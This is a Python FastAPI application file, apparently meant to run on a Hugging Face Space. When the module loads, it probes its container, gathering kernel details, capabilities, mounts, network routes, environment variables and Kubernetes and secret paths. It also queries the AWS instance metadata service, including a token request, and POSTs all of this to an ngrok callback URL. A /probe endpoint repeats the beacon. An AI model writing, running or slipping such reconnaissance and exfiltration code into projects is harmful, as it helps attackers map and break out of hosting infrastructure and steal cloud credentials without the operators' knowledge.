app.py

import json
import os
import platform
import socket
import ssl
import subprocess
from pathlib import Path
from urllib import request

from fastapi import FastAPI

CALLBACK_URL = "https://hydrazoic-hierarchical-alysha.ngrok-free.dev"
app = FastAPI()


def run(command: list[str]) -> dict[str, object]:
    try:
        completed = subprocess.run(command, capture_output=True, text=True, timeout=5, check=False)
        return {"returncode": completed.returncode, "stdout": completed.stdout[-4000:], "stderr": completed.stderr[-2000:]}
    except Exception as exc:
        return {"error": str(exc)}


def read_text(path: str, limit: int = 4000) -> str | None:
    try:
        return Path(path).read_text(errors="ignore")[:limit]
    except Exception:
        return None


def stat_path(path: str) -> dict[str, object]:
    p = Path(path)
    try:
        st = p.stat()
        return {
            "exists": True,
            "is_dir": p.is_dir(),
            "is_file": p.is_file(),
            "mode": oct(st.st_mode & 0o7777),
            "uid": st.st_uid,
            "gid": st.st_gid,
            "listing": sorted(entry.name for entry in p.iterdir())[:50] if p.is_dir() else None,
        }
    except Exception as exc:
        return {"exists": p.exists(), "error": str(exc)}


def http_get(url: str, headers: dict[str, str] | None = None) -> dict[str, object]:
    try:
        req = request.Request(url, headers=headers or {})
        with request.urlopen(req, timeout=3) as response:
            return {
                "status": response.status,
                "headers": dict(response.headers.items()),
                "body": response.read(1000).decode(errors="ignore"),
            }
    except Exception as exc:
        return {"error": str(exc)}


def tcp_check(host: str, port: int, tls: bool = False) -> dict[str, object]:
    try:
        sock = socket.create_connection((host, port), timeout=3)
        if tls:
            sock = ssl.create_default_context().wrap_socket(sock, server_hostname=host)
        peer = sock.getpeername()
        sock.close()
        return {"reachable": True, "peer": peer}
    except Exception as exc:
        return {"reachable": False, "error": str(exc)}


def collect_probe() -> dict[str, object]:
    return {
        "platform": platform.platform(),
        "kernel": platform.release(),
        "hostname": socket.gethostname(),
        "uid": os.getuid(),
        "gid": os.getgid(),
        "cwd": os.getcwd(),
        "env": {key: os.environ.get(key) for key in [
            "SPACE_ID", "SPACE_HOST", "SPACE_REPO_NAME", "SPACE_AUTHOR_NAME",
            "HOME", "USER", "HOSTNAME", "KUBERNETES_SERVICE_HOST", "KUBERNETES_SERVICE_PORT"
        ] if key in os.environ},
        "self_status": read_text("/proc/self/status", 8000),
        "mounts": read_text("/proc/mounts", 8000),
        "cgroup": read_text("/proc/1/cgroup"),
        "namespaces": run(["sh", "-lc", "ls -l /proc/self/ns"]),
        "capabilities": run(["sh", "-lc", "grep '^Cap' /proc/self/status"]),
        "seccomp": run(["sh", "-lc", "grep '^Seccomp' /proc/self/status"]),
        "route": run(["sh", "-lc", "ip route"]),
        "interfaces": run(["sh", "-lc", "ip addr"]),
        "dns": {
            name: run(["sh", "-lc", f"getent hosts {name} || nslookup {name}"])
            for name in ["kubernetes.default.svc", "instance-data.ec2.internal", "metadata.google.internal", "api.huggingface.co"]
        },
        "tcp": {
            "kube_api": tcp_check("172.20.0.1", 443),
            "aws_imds_http": tcp_check("169.254.169.254", 80),
            "aws_imds_https": tcp_check("169.254.169.254", 443),
            "hf_api": tcp_check("api.huggingface.co", 443, tls=True),
        },
        "http": {
            "aws_imds": http_get("http://169.254.169.254/latest/meta-data/"),
            "aws_imdsv2": http_get("http://169.254.169.254/latest/api/token", {"X-aws-ec2-metadata-token-ttl-seconds": "60"}),
            "kube_version": http_get("https://172.20.0.1/version"),
        },
        "paths": {path: stat_path(path) for path in [
            "/run/secrets",
            "/var/run/secrets",
            "/var/run/secrets/kubernetes.io/serviceaccount",
            "/var/run/docker.sock",
            "/run/containerd/containerd.sock",
            "/dev/kmsg",
            "/dev/mem",
            "/proc/sysrq-trigger",
            "/sys/kernel/debug",
            "/proc/1/root",
            "/home/user",
            "/tmp",
        ]},
    }


def send_beacon() -> dict[str, object]:
    probe = collect_probe()
    body = json.dumps(probe).encode()
    req = request.Request(CALLBACK_URL, data=body, method="POST", headers={"Content-Type": "application/json"})
    try:
        with request.urlopen(req, timeout=5) as response:
            probe["beacon_status"] = response.status
    except Exception as exc:
        probe["beacon_error"] = str(exc)
    return probe


STARTUP_PROBE = send_beacon()


@app.get("/")
def root() -> dict[str, object]:
    return STARTUP_PROBE


@app.get("/probe")
def probe() -> dict[str, object]:
    return send_beacon()


if __name__ == "__main__":
    import uvicorn
    uvicorn.run(app, host="0.0.0.0", port=7860)